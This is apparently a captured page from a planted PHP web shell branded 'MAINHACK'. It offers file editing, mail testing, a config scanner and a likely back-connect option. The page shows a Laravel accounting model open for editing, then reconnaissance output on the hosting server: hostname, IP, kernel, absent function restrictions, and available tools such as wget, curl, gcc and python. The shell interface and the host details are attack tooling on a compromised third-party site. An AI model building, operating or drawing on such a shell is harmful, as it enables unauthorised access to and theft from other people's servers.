[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Accounting.php
<?php namespace App\Models\Api; use App\Models\Accounting as Model; class Accounting extends Model { public function getDetailsAttribute(){ return [ 'type'=>$this->item , 'balance_type' => $this->balance_type, 'webinar' => ($this->item == 'webinar') ?$this->webinar->brief:null, 'subscribe' => ($this->item == 'subscribe') ? $this->subscribe->details : null, 'promotion' => ($this->item == 'promotion') ? $this->promotion: null, 'registration_package' => ($this->item == 'registration_package') ? $this->registrationPackage: null, 'description' => $this->description, 'amount' => number_format($this->amount, 2, ".", "") + 0, 'created_at' => $this->created_at ] ; } public function getBalanceTypeAttribute(){ if ($this->type == Accounting::$addiction) { $balance_type = 'addition'; } elseif ($this->type = Accounting::$deduction) { $balance_type = 'deduction'; } return $balance_type ; } public function getItemAttribute(){ if ($this->webinar_id and $this->webinar) { $type = 'webinar'; $title = $this->webinar->title; } elseif ($this->meeting_time_id) { $type = 'meeting'; $title = 'meeting book'; } elseif ($this->subscribe_id && $this->subscribe) { $type = 'subscribe'; } elseif ($this->promotion_id && $this->promotion) { $type = 'promotion'; } elseif ($this->registration_package_id and $this->registrationPackage){ $type = 'registration_package'; } elseif ($this->store_type == Accounting::$storeManual) { $type = 'manual_document'; } elseif ($this->type == Accounting::$addiction and $this->type_account == self::$asset) { $type = 'manual_document'; } elseif ($this->type == Accounting::$deduction and $this->type_account == self::$income) { $type = 'charge_account'; } else { $type = '---'; } return $type ; } public function webinar() { return $this->belongsTo('App\Models\Api\Webinar', 'webinar_id', 'id'); } public function user() { return $this->belongsTo('App\Models\Api\User', 'user_id', 'id'); } public function creator() { return $this->belongsTo('App\Models\Api\User', 'creator_id', 'id'); } public function promotion() { return $this->belongsTo('App\Models\Api\Promotion', 'promotion_id', 'id'); } public function subscribe() { return $this->belongsTo('App\Models\Api\Subscribe', 'subscribe_id', 'id'); } public function meetingTime() { return $this->belongsTo('App\Models\Api\MeetingTime', 'meeting_time_id', 'id'); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285